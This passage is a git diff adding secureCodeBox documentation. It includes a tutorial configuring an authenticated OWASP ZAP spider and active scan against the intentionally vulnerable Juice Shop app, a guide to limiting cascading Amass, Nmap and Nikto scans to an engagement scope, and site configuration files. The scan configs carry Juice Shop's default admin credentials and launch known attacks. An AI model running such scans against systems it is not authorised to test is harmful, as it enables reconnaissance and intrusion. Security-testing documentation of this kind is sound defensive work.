contexts: + # Name to be used to refer to this context in other jobs, mandatory + - name: scb-juiceshop-context + # The top level url, mandatory, everything under this will be included + url: http://juice-shop.default.svc:3000/ +--- +apiVersion: "execution.securecodebox.io/v1" +kind: Scan +metadata: + name: "zap-authenticated-full-scan-juiceshop-basic" + labels: + organization: "OWASP" +spec: + scanType: "zap-advanced-scan" + parameters: + # target URL including the protocol + - "-t" + - "http://juice-shop.default.svc:3000/" + volumeMounts: + - name: zap-advanced-scan-config + mountPath: /home/securecodebox/configs/2-zap-advanced-scan.yaml + subPath: 2-zap-advanced-scan.yaml + readOnly: true + volumes: + - name: zap-advanced-scan-config + configMap: + name: zap-advanced-scan-config +``` + +We use `volumeMounts` and `volumes` to attach the configMap to our scan in `scan.yaml`. We also set up a context for our `zap-advanced` scan. This is where we can input ZAP related parameters. + +We can do a test run via: + +```bash +kubectl apply -f scan.yaml +``` + +The ConfigMap right now is minimal. So we can start modifying and adding to it to fit our needs. +For example let's start by setting the scope that we want for our scan. This is done by adding and excluding the paths that the scanner will use. This usually makes the scans faster. +Our ConfigMap will then look like this. + +```yaml +apiVersion: v1 +kind: ConfigMap +metadata: + name: zap-advanced-scan-config +data: + 2-zap-advanced-scan.yaml: |- + + # ZAP Contexts Configuration + contexts: + # Name to be used to refer to this context in other jobs, mandatory + - name: scb-juiceshop-context + # The top level url, mandatory, everything under this will be included + url: http://juice-shop.default.svc:3000/ + # An optional list of regexes to include + includePaths: + - "http://juice-shop.default.svc:3000.*" + # An optional list of regexes to exclude + excludePaths: + - ".*socket\\.io.*" + - ".*\\.png" + - ".*\\.jpeg" + - ".*\\.jpg" + - ".*\\.woff" + - ".*\\.woff2" + - ".*\\.ttf" + - ".*\\.ico" +``` + +ZAP uses a [Spider-Tool](https://www.zaproxy.org/docs/desktop/start/features/spider/) that is used to automatically discover new resources (URLs) on a particular Site. We can configure it's mode of operation through the parameter `spiders`. A possible configuration can look like this : + +```yaml +apiVersion: v1 +kind: ConfigMap +metadata: + name: zap-advanced-scan-config +data: + 2-zap-advanced-scan.yaml: |- + + # ZAP Contexts Configuration + contexts: + # Name to be used to refer to this context in other jobs, mandatory + - name: scb-juiceshop-context + # The top level url, mandatory, everything under this will be included + url: http://juice-shop.default.svc:3000/ + # An optional list of regexes to include + includePaths: + - "http://juice-shop.default.svc:3000.*" + # An optional list of regexes to exclude + excludePaths: + - ".*socket\\.io.*" + - ".*\\.png" + - ".*\\.jpeg" + - ".*\\.jpg" + - ".*\\.woff" + - ".*\\.woff2" + - ".*\\.ttf" + - ".*\\.ico" + # ZAP Spiders Configuration + spiders: + - name: scb-juiceshop-spider + # String: Name of the context to spider, default: first context + context: scb-juiceshop-context + # String: Name of the user to authenticate with and used to spider + user: juiceshop-user-1 + # String: Url to start spidering from, default: first context URL + url: http://juice-shop.default.svc:3000/ + # zapConfiguration.spiders[0].ajax -- Bool: Whether to use the ZAP ajax spider, default: false + ajax: true + # Int: Fail if spider finds less than the specified number of URLs, default: 0 + failIfFoundUrlsLessThan: 0 + # Int: Warn if spider finds less than the specified number of URLs, default: 0 + warnIfFoundUrlsLessThan: 0 + # Int: The max time in minutes the spider will be allowed to run for, default: 0 unlimited + maxDuration: 5 + # Int: The maximum tree depth to explore, default 5 + maxDepth: 10 +``` + +ZAP also has the option for an [Active Scan](https://www.zaproxy.org/docs/desktop/start/features/ascan/). +Active scanning attempts to find potential vulnerabilities by using known attacks against the selected targets. Its rules can be modified in the `scanners` parameter. An example for that would be: + +```yaml +# ZAP ActiveScans Configuration +scanners: + - name: scb-juiceshop-scan + # String: Name of the context to attack, default: first context + context: scb-juiceshop-context + # String: Name of the user to authenticate with and used to spider + user: juiceshop-user-1 + # String: Url to start scaning from, default: first context URL + url: http://juice-shop.default.svc:3000/ + # Int: The max time in minutes any individual rule will be allowed to run for, default: 0 unlimited + maxRuleDurationInMins: 1 + # Int: The max time in minutes the active scanner will be allowed to run for, default: 0 unlimited + maxScanDurationInMins: 10 + # Int: The max number of threads per host, default: 2 + threadPerHost: 5 + # Int: The delay in milliseconds between each request, use to reduce the strain on the target, default 0 + delayInMs: 0 + # Bool: If set will add an extra query parameter to requests that do not have one, default: false + addQueryParam: false + # Bool: If set then automatically handle anti CSRF tokens, default: false + handleAntiCSRFTokens: false + # Bool: If set then the relevant rule Id will be injected into the X-ZAP-Scan-ID header of each request, default: false + injectPluginIdInHeader: false + # Bool: If set then the headers of requests that do not include any parameters will be scanned, default: false + scanHeadersAllRequests: false +``` + +Some URLs may not be reachable without a privileged user. In this case, it makes sense to provide authentications credentials. This is done through the authentication, users and session parameters in our ConfigMap context. In our case here, we use custom zap scripts to authenticate into juice-shop. The scripts used can be found [here](https://github.com/secureCodeBox/secureCodeBox/tree/main/scanners/zap-advanced/scanner/scripts/). +It can be required to configure your own scripts to fit your scan target: more information on how these scripts integrate into ZAP can be found [here](https://www.zaproxy.org/docs/desktop/start/features/scripts/). +Our `contexts` parameter in our scan would then look something like this: + +```yaml +apiVersion: v1 +kind: ConfigMap +metadata: + name: zap-advanced-scan-config +data: + 2-zap-advanced-scan.yaml: |- + + # ZAP Contexts Configuration + contexts: + # Name to be used to refer to this context in other jobs, mandatory + - name: scb-juiceshop-context + # The top level url, mandatory, everything under this will be included + url: http://juice-shop.default.svc:3000/ + # An optional list of regexes to include + includePaths: + - "http://juice-shop.default.svc:3000.*" + # An optional list of regexes to exclude + excludePaths: + - ".*socket\\.io.*" + - ".*\\.png" + - ".*\\.jpeg" + - ".*\\.jpg" + - ".*\\.woff" + - ".*\\.woff2" + - ".*\\.ttf" + - ".*\\.ico" + # Auth Credentials for the scanner to access the application + # Can be either basicAuth or a oidc token. + # If both are set, the oidc token takes precedent + authentication: + # Currently supports "basic-auth", "form-based", "json-based", "script-based" + type: "json-based" + # json-based requires no further configuration + # zapConfiguration.contexts[0].authentication.json-based -- Configure `type: json-based` authentication (more: https://www.zaproxy.org/docs/api/#json-based-authentication). + json-based: + loginUrl: "http://juice-shop.default.svc:3000/rest/user/login" + # must be escaped already to prevent yaml parser colidations '{"user":{"id":1,"email":"test@test.com"}}'' + loginRequestData: '{"email":"admin@juice-sh.op","password":"admin123"}' + # Indicates if the current Zap User Session is based on a valid authentication (loggedIn) or not (loggedOut) + verification: + # isLoggedInIndicator: "\Q<a href="password.jsp">\E" + isLoggedOutIndicator: '\Q{"user":{}}\E' + users: + - name: juiceshop-user-1 + username: admin@juice-sh.op + password: admin123 + forced: true + session: + # Currently supports "scriptBasedSessionManagement", "cookieBasedSessionManagement", "httpAuthSessionManagement" + type: "scriptBasedSessionManagement" + # scriptBasedSessionManagement configuration details + scriptBasedSessionManagement: + name: "juiceshop-session-management.js" + # -- Enables the script if true, otherwise false + enabled: true + # Script engine values: 'Graal.js', 'Oracle Nashorn' for Javascript and 'Mozilla Zest' for Zest Scripts + engine: "Oracle Nashorn" + # Must be a full path to the script file inside the ZAP container (corresponding to the configMap FileMount) + filePath: "/home/zap/.ZAP_D/scripts/scripts/session/juiceshop-session-management.js" + # A short description for the script. + description: "This is a JuiceShop specific SessionManagement Script used to handle JWT." +``` + +For more information on Authentication/Session parameters check out ZAP's documentation on the matter [here](https://www.zaproxy.org/docs/desktop/start/features/authentication/) + +Our complete ZAP Scan file is then the following : + +```yaml +apiVersion: v1 +kind: ConfigMap +metadata: + name: zap-advanced-scan-config +data: + 2-zap-advanced-scan.yaml: |- + + # ZAP Contexts Configuration + contexts: + # Name to be used to refer to this context in other jobs, mandatory + - name: scb-juiceshop-context + # The top level url, mandatory, everything under this will be included + url: http://juice-shop.default.svc:3000/ + # An optional list of regexes to include + includePaths: + - "http://juice-shop.default.svc:3000.*" + # An optional list of regexes to exclude + excludePaths: + - ".*socket\\.io.*" + - ".*\\.png" + - ".*\\.jpeg" + - ".*\\.jpg" + - ".*\\.woff" + - ".*\\.woff2" + - ".*\\.ttf" + - ".*\\.ico" + # Auth Credentials for the scanner to access the application + # Can be either basicAuth or a oidc token. + # If both are set, the oidc token takes precedent + authentication: + # Currently supports "basic-auth", "form-based", "json-based", "script-based" + type: "json-based" + # json-based requires no further configuration + # zapConfiguration.contexts[0].authentication.json-based -- Configure `type: json-based` authentication (more: https://www.zaproxy.org/docs/api/#json-based-authentication). + json-based: + loginUrl: "http://juice-shop.default.svc:3000/rest/user/login" + # must be escaped already to prevent yaml parser colidations '{"user":{"id":1,"email":"test@test.com"}}'' + loginRequestData: '{"email":"admin@juice-sh.op","password":"admin123"}' + # Indicates if the current Zap User Session is based on a valid authentication (loggedIn) or not (loggedOut) + verification: + # isLoggedInIndicator: "\Q<a href="password.jsp">\E" + isLoggedOutIndicator: '\Q{"user":{}}\E' + users: + - name: juiceshop-user-1 + username: admin@juice-sh.op + password: admin123 + forced: true + session: + # Currently supports "scriptBasedSessionManagement", "cookieBasedSessionManagement", "httpAuthSessionManagement" + type: "scriptBasedSessionManagement" + # scriptBasedSessionManagement configuration details + scriptBasedSessionManagement: + name: "juiceshop-session-management.js" + # -- Enables the script if true, otherwise false + enabled: true + # Script engine values: 'Graal.js', 'Oracle Nashorn' for Javascript and 'Mozilla Zest' for Zest Scripts + engine: "Oracle Nashorn" + # Must be a full path to the script file inside the ZAP container (corresponding to the configMap FileMount) + filePath: "/home/zap/.ZAP_D/scripts/scripts/session/juiceshop-session-management.js" + # A short description for the script. + description: "This is a JuiceShop specific SessionManagement Script used to handle JWT." + + # ZAP Spiders Configuration + spiders: + - name: scb-juiceshop-spider + # String: Name of the context to spider, default: first context + context: scb-juiceshop-context + # String: Name of the user to authenticate with and used to spider + user: juiceshop-user-1 + # String: Url to start spidering from, default: first context URL + url: http://juice-shop.default.svc:3000/ + # zapConfiguration.spiders[0].ajax -- Bool: Whether to use the ZAP ajax spider, default: false + ajax: true + # Int: Fail if spider finds less than the specified number of URLs, default: 0 + failIfFoundUrlsLessThan: 0 + # Int: Warn if spider finds less than the specified number of URLs, default: 0 + warnIfFoundUrlsLessThan: 0 + # Int: The max time in minutes the spider will be allowed to run for, default: 0 unlimited + maxDuration: 5 + # Int: The maximum tree depth to explore, default 5 + maxDepth: 10 + + # ZAP ActiveScans Configuration + scanners: + - name: scb-juiceshop-scan + # String: Name of the context to attack, default: first context + context: scb-juiceshop-context + # String: Name of the user to authenticate with and used to spider + user: juiceshop-user-1 + # String: Url to start scaning from, default: first context URL + url: http://juice-shop.default.svc:3000/ + # Int: The max time in minutes any individual rule will be allowed to run for, default: 0 unlimited + maxRuleDurationInMins: 1 + # Int: The max time in minutes the active scanner will be allowed to run for, default: 0 unlimited + maxScanDurationInMins: 10 + # Int: The max number of threads per host, default: 2 + threadPerHost: 5 + # Int: The delay in milliseconds between each request, use to reduce the strain on the target, default 0 + delayInMs: 0 + # Bool: If set will add an extra query parameter to requests that do not have one, default: false + addQueryParam: false + # Bool: If set then automatically handle anti CSRF tokens, default: false + handleAntiCSRFTokens: false + # Bool: If set then the relevant rule Id will be injected into the X-ZAP-Scan-ID header of each request, default: false + injectPluginIdInHeader: false + # Bool: If set then the headers of requests that do not include any parameters will be scanned, default: false + scanHeadersAllRequests: false + +--- +apiVersion: "execution.securecodebox.io/v1" +kind: Scan +metadata: + name: "zap-authenticated-full-scan-juiceshop" + labels: + organization: "OWASP" +spec: + scanType: "zap-advanced-scan" + parameters: + # target URL including the protocol + - "-t" + - "http://juice-shop.default.svc:3000/" + volumeMounts: + - name: zap-advanced-scan-config + mountPath: /home/securecodebox/configs/2-zap-advanced-scan.yaml + subPath: 2-zap-advanced-scan.yaml + readOnly: true + volumes: + - name: zap-advanced-scan-config + configMap: + name: zap-advanced-scan-config +``` + +Let's delete our first test scan and run a new one via : + +```bash +# Delete the scan created from scan.yaml: +kubectl delete -f scan.yaml +# Run the scan from scan.yaml: +kubectl apply -f scan.yaml +``` + +We can check on our scan via: + +```bash +$ kubectl get scans +NAME TYPE STATE FINDINGS +zap-authenticated-full-scan-juiceshop zap-advanced-scan Done 14 +``` + +If the scan's `STATE` is set to done, We can see our findings via the S3 bucket. If you've used the default installation method you can follow the [guide](/docs/getting-started/installation#accessing-the-included-minio-instance) to access the integrated Minio S3 Bucket to view the findings. +And we're done ! Have Fun Scanning :) diff --git a/documentation/docs/how-tos/scope.md b/documentation/docs/how-tos/scope.md new file mode 100644 index 0000000000..e4328317b6 --- /dev/null +++ b/documentation/docs/how-tos/scope.md @@ -0,0 +1,189 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "Enforcing Engagement Scope" +description: "How to limit CascadingScans" +sidebar_position: 7 +--- + +## Introduction + +In this step-by-step tutorial, we will go through all the required stages to set up engagement scope enforcement with secureCodeBox. +In this example, we are going to set up Amass and Nmap and run a scan with rules set-up so that we don't scan domains which are out-of-scope. + +## Setup + +For the sake of the tutorial, we assume that you have your Kubernetes cluster already up and running and that we can work in your default namespace. +If not, check out the [installation](/docs/getting-started/installation/) for more information. +We also assume that you have the latest version of cascading scans installed. + +We will start by installing Amass and Nmap: + +```bash +helm upgrade --install amass secureCodeBox/amass +Release "amass" does not exist. Installing it now. +[...] +helm upgrade --install nmap secureCodeBox/nmap +Release "nmap" does not exist. Installing it now. +[...] +``` + +## Start Scan With Scope Limit + +Next, we can start creating our scan definition. +Let's assume that we would like amass to scan `nmap.org` for subdomains, but we would only like to run nmap on `scanme.nmap.org`. +In the example below, we only cascade if our `scope.cascading.securecodebox.io/domain` equals `{{attributes.name}}`. + +```yaml +apiVersion: "execution.securecodebox.io/v1" +kind: Scan +metadata: + name: "amass-scan" + annotations: + scope.cascading.securecodebox.io/domain: "scanme.nmap.org" +spec: + cascades: + scopeLimiter: + allOf: + - key: "scope.cascading.securecodebox.io/domain" + operator: "In" + values: ["{{attributes.name}}"] + scanType: "amass" + parameters: + - "-d" + - "nmap.org" +``` + +:::info +See the [CRD specification](/docs/api/crds/scan#scopelimiter-optional) for the specific syntax and allowed values. +::: + +Running this scan results in the following state: + +```shell +$ kubectl get scans +amass-scan amass Done 65 +nmap-scan-nmap-hostscan-86f2m nmap Done 6 +$ kubectl get pods +cascading-scans-amass-scan-8cssx--1-hh2w6 0/1 Completed 0 2m51s +cascading-scans-nmap-scan-nmap-hostscan-86f2m-4mljv--1-7zgm2 0/1 Completed 0 2m23s +parse-amass-scan-zfhxg--1-shwkj 0/1 Completed 0 2m54s +parse-nmap-scan-nmap-hostscan-86f2m-d6jh6--1-ztgls 0/1 Completed 0 2m26s +scan-amass-scan-79h5f--1-vk7v5 0/2 Completed 0 4m22s +scan-nmap-scan-nmap-hostscan-86f2m-54pkd--1-pfpp6 0/2 Completed 0 2m48s +``` + +As you can see, amass found 65 domain names, but only a single nmap scan was created. +In the cascading scans logs, you will see that lots of rules were not triggered as the domain was out of scope. + +```shell +$ kubectl logs cascading-scans-amass-scan-8cssx--1-hh2w6 +Starting hook for Scan "amass-scan" +Fetched 65 findings from the file storage +Fetching CascadingScans using LabelSelector: "" +Fetched 2 CascadingRules +Cascading Rule nmap-hostscan not triggered as scope limiter did not pass +[...] +``` + +## Handle Differences in Finding Formats + +In many cases, you are cascading to more than one scanner. +Unfortunately, not every scanner has the same finding format, making a scope as defined above more tricky. + +As an example, let's say you want to set up Nikto as a scanner. +This scanner cascades on Nmap's open port finding and uses `$.hostOrIp` to start the scan. +In some cases, nmap can return a hostname different to the original hostname, thus with scope rules we want to check for this. +Preferably, we would like to use the same rule as above. +Unfortunately, nmap gives its hostname in `attributes.hostname` instead of the defined `attributes.name` (Amass finding). +This results in the scope rule failing, and prevents Nikto from getting cascaded. + +To solve this situation, you have two options: + +### Option 1: Enable `validOnMissingRender` + +Enabling this option causes all defined rules which contain unresolved mustache templates to result in `true`. You can use this if you're sure that Nmap returns the valid hostname. + +Example: + +```yaml +apiVersion: "execution.securecodebox.io/v1" +kind: Scan +metadata: + name: "amass-scan" + annotations: + scope.cascading.securecodebox.io/domain: "scanme.nmap.org" +spec: + cascades: + // highlight-next-line + validOnMissingRender: true + scopeLimiter: + allOf: + - key: "scope.cascading.securecodebox.io/domain" + operator: "In" + values: ["{{attributes.name}}"] + scanType: "amass" + parameters: + - "-d" + - "nmap.org" +``` + +### Option 2: Create a Hostname Alias for All Deployed Scanners + +A more fool-proof solution is to ensure that the hostname field is available in the same place for each scanner. +When deploying your scanner, you can define `scopeLimiterAliases`. + +```shell +$ helm upgrade --install amass secureCodeBox/amass \ + --set="parser.scopeLimiterAliases.hostname=\{\{attributes.name\}\}" +Release "amass" has been upgraded. Happy Helming! +[...] +$ helm upgrade --install nmap secureCodeBox/nmap \ + --set="parser.scopeLimiterAliases.hostname=\{\{attributes.hostname\}\}" +Release "nmap" has been upgraded. Happy Helming! +[...] +``` + +The aliases are added to the scanner's parse definition: + +```yaml +apiVersion: execution.securecodebox.io/v1 +kind: ParseDefinition +metadata: + name: amass-jsonl + namespace: default +spec: + env: [] + image: docker.io/securecodebox/parser-amass:3.5.0 + imagePullPolicy: IfNotPresent + scopeLimiterAliases: + hostname: "{{attributes.name}}" + ttlSecondsAfterFinished: null +``` + +To use your custom alias, you reference it with `$.hostname` in `scopeLimiter` in your scan definition. + +```yaml +scopeLimiter: + allOf: + - key: "scope.cascading.securecodebox.io/domain" + operator: "In" + values: ["{{$.hostname}}"] +``` + +Running this scan inside the cluster runs Amass, Nmap, and Nikto as expected. + +```shell +$ kubectl get scans +NAME TYPE STATE FINDINGS +amass-scan amass Done 65 +nikto-scan-nmap-hostscan-rhhqz-nikto-http-ps8cl nikto Done 6 +nmap-scan-nmap-hostscan-rhhqz nmap Done 6 +``` + +:::caution +The scope limiter only applies to cascading scans. +If your initial scan is out-of-scope, it will still run. +::: diff --git a/documentation/docs/scanners/_category_.json b/documentation/docs/scanners/_category_.json new file mode 100644 index 0000000000..8b03008912 --- /dev/null +++ b/documentation/docs/scanners/_category_.json @@ -0,0 +1,9 @@ +{ + "label": "Scanners", + "position": 3, + "link": { + "type": "generated-index", + "title": "Scanners Overview", + "slug": "scanners" + } +} diff --git a/documentation/docusaurus.config.js b/documentation/docusaurus.config.js new file mode 100644 index 0000000000..8ca1a48bca --- /dev/null +++ b/documentation/docusaurus.config.js @@ -0,0 +1,168 @@ +// SPDX-FileCopyrightText: the secureCodeBox authors +// +// SPDX-License-Identifier: Apache-2.0 + +/** @type {import('@docusaurus/types').DocusaurusConfig} */ +module.exports = { + title: "secureCodeBox", + tagline: "Continuous automated security testing ✓ multi scanner security platform ✓ scalable open-source tool ✓ lightweight interface ✓", + url: "https://www.securecodebox.io", + baseUrl: "/", + onBrokenLinks: "throw", + favicon: "img/Favicon.svg", + organizationName: "secureCodeBox", // Usually your GitHub org/user name. + projectName: "secureCodeBox", // Usually your repo name. + customFields: { + keywords: [ + "security", + "scanner", + "automation", + "devsecops", + "vulnerability", + "pipeline", + "kubernetes", + "docker", + "cloud", + "opensource", + "owasp", + "defectdojo", + "nmap", + "nikto", + "nuclei", + "typo3", + "joomla", + "wordpress", + ], + }, + themeConfig: + /** @type {import('@docusaurus/preset-classic').ThemeConfig} */ + ({ + navbar: { + logo: { + alt: "secureCodeBox Logo", + src: "img/Logo_Black.svg", + srcDark: "img/Logo_White.svg", + }, + items: [ + { + to: `docs/getting-started/installation`, + activeBasePath: "docs", + label: "Docs", + position: "left", + }, + { to: "blog", label: "Blog", position: "left" }, + { + href: "https://github.com/secureCodeBox/", + position: "right", + className: "header-github-link", + "aria-label": "GitHub repository", + }, + { + href: "https://owasp.org/www-project-securecodebox/", + position: "right", + className: "header-owasp-link", + "aria-label": "OWASP project", + }, + ], + }, + footer: { + style: "dark", + links: [ + { + title: "Docs", + items: [ + { + label: "Style Guide", + href: "https://github.com/securecodebox/docusaurus#style-guide", + }, + { + label: "Icons", + href: "https://www.flaticon.com/", + }, + ], + }, + { + title: "Community", + items: [ + { + label: "GitHub", + href: "https://github.com/secureCodeBox", + }, + { + label: "Slack", + href: 'https://join.slack.com/t/securecodebox/shared_invite/enQtNDU3MTUyOTM0NTMwLTBjOWRjNjVkNGEyMjQ0ZGMyNDdlYTQxYWQ4MzNiNGY3MDMxNThkZjJmMzY2NDRhMTk3ZWM3OWFkYmY1YzUxNTU"', + }, + { + label: "Twitter", + href: "https://twitter.com/securecodebox", + }, + ], + }, + { + title: "More", + items: [ + { + label: "Imprint", + href: "https://www.iteratec.com/en/legal-notice/", + }, + { + label: "Data Protection", + href: "https://www.iteratec.com/en/data-protection/", + }, + { + html: ` + <a href="https://www.netlify.com" target="_blank" rel="noreferrer noopener" aria-label="Deploys by Netlify"> + <img src="https://www.netlify.com/img/global/badges/netlify-color-accent.svg" alt="Deploys by Netlify" width="114" height="51" /> + </a> + `, + }, + ], + }, + ], + copyright: `Copyright the secureCodeBox authors. Built with Docusaurus.`, + }, + prism: { + theme: require("prism-react-renderer/themes/dracula"), + additionalLanguages: ["python", "java", "rust", "yaml", "go"], + }, + }), + presets: [ + [ + "@docusaurus/preset-classic", + /** @type {import('@docusaurus/preset-classic').Options} */ + ({ + docs: { + sidebarPath: require.resolve("./sidebars.json"), + editUrl: "https://github.com/securecodebox/docusaurus/edit/main/", + lastVersion: "current", + exclude: ["telemetry.md", "architecture/09_architecture_decisions/adr_0000.md", "architecture/09_architecture_decisions/adr_README.md"], + versions: { + current: { + label: "Current", + path: "", + }, + }, + }, + blog: { + blogTitle: 'Blog on Automated Security Testing', + blogDescription: 'In this blog the core maintainer will write about the development, roadmap, ideas RFCs etc. of the OWASP secureCodeBox.', + showReadingTime: true, + editUrl: "https://github.com/securecodebox/docusaurus/edit/main/", + feedOptions: { + type: "all", + title: "The secureCodeBox Developer Blog", + description: + "In this blog the core maintainer will write about the development, roadmap, ideas RFCs etc. of the OWASP secureCodeBox.", + copyright: `Copyright © ${new Date().getFullYear()} iteratec GmbH`, + language: "en", + }, + }, + theme: { + customCss: require.resolve("./src/css/custom.css"), + }, + }), + ], + ], + themes: ["@docusaurus/theme-live-codeblock"], + plugins: ["docusaurus-plugin-sass", "@cmfcmf/docusaurus-search-local"], +}; diff --git a/documentation/package-lock.json b/documentation/package-lock.json new file mode 100644 index 0000000000..05794e35d0 --- /dev/null +++ b/documentation/package-lock.json @@ -0,0 +1,25968 @@ +{ + "name": "securecodebox", + "version": "2.0.0", + "lockfileVersion": 2, + "requires": true, + "packages": { + "": { + "name": "securecodebox", + "version": "2.0.0", + "license": "Apache-2.0", + "dependencies": { + "@cmfcmf/docusaurus-search-local": "^1.1.0", + "@docusaurus/core": "^2.4.1", + "@docusaurus/preset-classic": "^2.4.1", + "@docusaurus/theme-live-codeblock": "^2.4.1", + "@mdx-js/react": "^1.6.22", + "clsx": "^1.1.1", + "colors": "^1.4.0", + "docusaurus-plugin-sass": "^0.2.5", + "gray-matter": "^4.0.3", + "mustache": "^4.2.0", + "node-fetch": "^3.1.1", + "prism-react-renderer": "^1.2.1", + "react": "^17.0.2", + "react-accessible-accordion": "^5.0.0", + "react-dom": "^17.0.2", + "rimraf": "^3.0.2", + "sass": "^1.35.1" + }, + "devDependencies": { + "@docusaurus/module-type-aliases": "^2.4.1", + "@tsconfig/docusaurus": "^2.0.0", + "@types/node": "^20.5.1", + "@types/react": "^17.0.20", + "@types/react-helmet": "^6.1.2", + "@types/react-router-dom": "^5.1.8", + "eslint": "^8.47.0", + "eslint-plugin-prettier": "^3.4.0", + "eslint-plugin-react": "^7.33.1", + "eslint-plugin-security": "^1.7.1", + "sass-loader": "^13.3.2", + "typescript": "^5.1.6" + } + }, + "node_modules/@aashutoshrathi/word-wrap": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/@aashutoshrathi/word-wrap/-/word-wrap-1.2.6.tgz", + "integrity": "sha512-1Yjs2SvM8TflER/OD3cOjhWWOZb58A2t7wpE2S9XfBYTiIl+XFhQG2bjy4Pu1I+EAlCNUzRDYDdFwFYUKvXcIA==", + "devOptional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@algolia/autocomplete-core": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@algolia/autocomplete-core/-/autocomplete-core-1.11.0.tgz", + "integrity": "sha512-kFtn8XPMdE1QGDxyMTObGgaUpq5lcG2fLVsda6E88MoZZsfYkC8Oua6dwa0b06/GpgEWaliby/7AksUqz05uzw==", + "dependencies": { + "@algolia/autocomplete-plugin-algolia-insights": "1.11.0", + "@algolia/autocomplete-shared": "1.11.0" + } + }, + "node_modules/@algolia/autocomplete-js": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@algolia/autocomplete-js/-/autocomplete-js-1.11.0.tgz", + "integrity": "sha512-+INNaRwwztxUboAoTnDSAm7INPcyLOu4SANYTZihyQiVRr6ZeJd7/AlifMnonJxrEH7j5RgX7WhjUm5xMN+r8A==", + "dependencies": { + "@algolia/autocomplete-core": "1.11.0", + "@algolia/autocomplete-preset-algolia": "1.11.0", + "@algolia/autocomplete-shared": "1.11.0", + "htm": "^3.1.1", + "preact": "^10.13.2" + }, + "peerDependencies": { + "@algolia/client-search": ">= 4.5.1 < 6", + "algoliasearch": ">= 4.9.1 < 6" + } + }, + "node_modules/@algolia/autocomplete-plugin-algolia-insights": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@algolia/autocomplete-plugin-algolia-insights/-/autocomplete-plugin-algolia-insights-1.11.0.tgz", + "integrity": "sha512-TsJ5vs1jR9IbYDRWnd0tHLF/y54quoSAV7fDbyDdfUdkuI9bVP0bzulxT+POezPT5+6Ya5IJNCrg4DViA3Dm0Q==", + "dependencies": { + "@algolia/autocomplete-shared": "1.11.0" + }, + "peerDependencies": { + "search-insights": ">= 1 < 3" + } + }, + "node_modules/@algolia/autocomplete-preset-algolia": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@algolia/autocomplete-preset-algolia/-/autocomplete-preset-algolia-1.11.0.tgz", + "integrity": "sha512-a2Tg6TOXN75xIzcx9P7srTNIH8kFjap6IEDHiMYWwa3V4qWNZjbE3e07HxwD3Pme8zp700y3EiYTQMBaYETe6g==", + "dependencies": { + "@algolia/autocomplete-shared": "1.11.0" + }, + "peerDependencies": { + "@algolia/client-search": ">= 4.9.1 < 6", + "algoliasearch": ">= 4.9.1 < 6" + } + }, + "node_modules/@algolia/autocomplete-shared": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@algolia/autocomplete-shared/-/autocomplete-shared-1.11.0.tgz", + "integrity": "sha512-ug1HYGQfe8+bvGuVJ3Fbdxn+YvR6MHPD36vQ5kv+5WWnBiW+QTyGk5yiluS9+i81l9wxH34Zl3XN/6MQ68MAgw==", + "peerDependencies": { + "@algolia/client-search": ">= 4.9.1 < 6", + "algoliasearch": ">= 4.9.1 < 6" + } + }, + "node_modules/@algolia/autocomplete-theme-classic": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@algolia/autocomplete-theme-classic/-/autocomplete-theme-classic-1.11.0.tgz", + "integrity": "sha512-R6k8D/6rwI5EQliVweK+JvX6JAF2cnzJvWhfgwOkdkVHYX3RT9yXR8aE7m6Rxv8wtQpivGsCKeTEJl2jD5goEw==" + }, + "node_modules/@algolia/cache-browser-local-storage": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/cache-browser-local-storage/-/cache-browser-local-storage-4.19.1.tgz", + "integrity": "sha512-FYAZWcGsFTTaSAwj9Std8UML3Bu8dyWDncM7Ls8g+58UOe4XYdlgzXWbrIgjaguP63pCCbMoExKr61B+ztK3tw==", + "dependencies": { + "@algolia/cache-common": "4.19.1" + } + }, + "node_modules/@algolia/cache-common": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/cache-common/-/cache-common-4.19.1.tgz", + "integrity": "sha512-XGghi3l0qA38HiqdoUY+wvGyBsGvKZ6U3vTiMBT4hArhP3fOGLXpIINgMiiGjTe4FVlTa5a/7Zf2bwlIHfRqqg==" + }, + "node_modules/@algolia/cache-in-memory": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/cache-in-memory/-/cache-in-memory-4.19.1.tgz", + "integrity": "sha512-+PDWL+XALGvIginigzu8oU6eWw+o76Z8zHbBovWYcrtWOEtinbl7a7UTt3x3lthv+wNuFr/YD1Gf+B+A9V8n5w==", + "dependencies": { + "@algolia/cache-common": "4.19.1" + } + }, + "node_modules/@algolia/client-account": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/client-account/-/client-account-4.19.1.tgz", + "integrity": "sha512-Oy0ritA2k7AMxQ2JwNpfaEcgXEDgeyKu0V7E7xt/ZJRdXfEpZcwp9TOg4TJHC7Ia62gIeT2Y/ynzsxccPw92GA==", + "dependencies": { + "@algolia/client-common": "4.19.1", + "@algolia/client-search": "4.19.1", + "@algolia/transporter": "4.19.1" + } + }, + "node_modules/@algolia/client-analytics": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/client-analytics/-/client-analytics-4.19.1.tgz", + "integrity": "sha512-5QCq2zmgdZLIQhHqwl55ZvKVpLM3DNWjFI4T+bHr3rGu23ew2bLO4YtyxaZeChmDb85jUdPDouDlCumGfk6wOg==", + "dependencies": { + "@algolia/client-common": "4.19.1", + "@algolia/client-search": "4.19.1", + "@algolia/requester-common": "4.19.1", + "@algolia/transporter": "4.19.1" + } + }, + "node_modules/@algolia/client-common": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/client-common/-/client-common-4.19.1.tgz", + "integrity": "sha512-3kAIVqTcPrjfS389KQvKzliC559x+BDRxtWamVJt8IVp7LGnjq+aVAXg4Xogkur1MUrScTZ59/AaUd5EdpyXgA==", + "dependencies": { + "@algolia/requester-common": "4.19.1", + "@algolia/transporter": "4.19.1" + } + }, + "node_modules/@algolia/client-personalization": { + "version": 